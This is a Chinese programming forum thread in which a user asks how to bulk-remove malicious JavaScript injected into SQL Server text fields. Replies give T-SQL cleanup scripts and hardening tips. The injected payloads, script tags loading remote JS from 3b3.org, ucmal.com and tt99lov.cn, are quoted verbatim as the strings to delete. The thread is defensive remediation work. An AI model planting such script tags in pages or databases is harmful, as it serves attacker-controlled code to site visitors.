sql数据库里被插了好多js病毒代码,好多字段里都有,一个一个清除太麻烦,在网上找了不少批量删除的代码,都运行错误,求高手帮忙

解决方案 »

  1.   

    http://topic.csdn.net/u/20090326/11/5e584897-2dd7-4e10-af1b-9b48b146af8e.htmlJS
      

  2.   

    如何最快速度删除? 
    " <script   src=http://3b3.org/c.js> </script> " 
    --------------------------------------------------------------- 
    进入SQL查询分析器 
    选择你的数据库 
    第一步:先sql表修改所有者为dbo 
    EXEC   sp_MSforeachtable   'exec   sp_changeobjectowner   ' '? ' ', ' 'dbo ' '   ' 第二步:统一删除字段被挂的js 
    declare   @delStr   nvarchar(500)   
    set   @delStr= ' <script   src=http://3b3.org/c.js> </script> ' set   nocount   on declare   @tableName   nvarchar(100),@columnName   nvarchar(100),@tbID   int,@iRow   int,@iResult   int   
    declare   @sql   nvarchar(500) set   @iResult=0   
    declare   cur   cursor   for   
    select   name,id   from   sysobjects   where   xtype= 'U ' open   cur   
    fetch   next   from   cur   into   @tableName,@tbID while   @@fetch_status=0   
    begin   
    declare   cur1   cursor   for   
                    --xtype   in   (231,167,239,175,35)   为char,varchar,nchar,nvarchar,text类型   
                    select   name   from   syscolumns   where   xtype   in   (231,167,239,175,35)   and   id=@tbID   
    open   cur1   
    fetch   next   from   cur1   into   @columnName   
    while   @@fetch_status=0   
    begin   
                set   @sql= 'update   [ '   +   @tableName   +   ']   set   [ '+   @columnName   + ']=   replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ')   where   [ '+@columnName+ ']   like   ' '% '+@delStr+ '% ' ' '   
                exec   sp_executesql   @sql             
                set   @iRow=@@rowcount   
                set   @iResult=@iResult+@iRow   
                if   @iRow> 0   
                begin 
    print   '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '   
                end             
                fetch   next   from   cur1   into   @columnName 
    end   
    close   cur1   
    deallocate   cur1   fetch   next   from   cur   into   @tableName,@tbID   
    end   
    print   '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' close   cur   
    deallocate   cur   
    set   nocount   off 
    --------------------------------------------------------------- 
    彻底杜绝SQL注入 1.不要使用sa用户连接数据库 
    2、新建一个public权限数据库用户,并用这个用户访问数据库 
    3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 
    4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×” 
    5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高): 
    DECLARE   @T   varchar(255), 
    @C   varchar(255) 
    DECLARE   Table_Cursor   CURSOR   FOR 
    Select   a.name,b.name   from   sysobjects   a,syscolumns   b 
    where   a.id=b.id   and   a.xtype= 'u '   and   (b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)   
    OPEN   Table_Cursor 
    FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C 
    WHILE(@@FETCH_STATUS=0) 
    BEGIN   print   @c 
    FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C   
    END 
    CLOSE   Table_Cursor 
    DEALLOCATE   Table_Cursor   
    --------------------------------------------------------------- 
    让3b3.org   c.js注入见鬼去吧! 
      

  3.   

    参考----数据库被注入攻击  所有文本型字下段数据都被加了   
    -- <script_src=http://ucmal.com/0.js> </script> 怎么删掉? DECLARE @fieldtype sysname
    SET @fieldtype='varchar'--删除处理
    DECLARE hCForEach CURSOR GLOBAL
    FOR
    SELECT N'update '+QUOTENAME(o.name)
        +N' set  '+ QUOTENAME(c.name) + 
        N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
    FROM sysobjects o,syscolumns c,systypes t
    WHERE o.id=c.id 
        AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
        AND c.xusertype=t.xusertype
        AND t.name=@fieldtype
    EXEC sp_MSforeach_Worker @command1=N'?'
      

  4.   

    还可以参考:
    http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html?99488
      

  5.   

    create proc do(@tbname varchar(8000))
    as
    begin
    declare @sql nvarchar(max)
    set @sql='update '+@tbname+' set '
    select @sql=@sql+name+'=replace(cast('+name+' as varchar(max)),''<script src=http://tt99lov.cn/0.js></script>'',''''),'
     from syscolumns where id=object_id(@tbname)
    and xtype in (35,99,167,175,231,239)
    set @sql=left(@sql,len(@sql)-1)+' from '+@tbnameexec sp_executesql @sql
    endgo
    exec sp_msforeachtable 'exec do ''?'''
      

  6.   

    fredrickhu 大哥,你那个加入text后是不行的呀!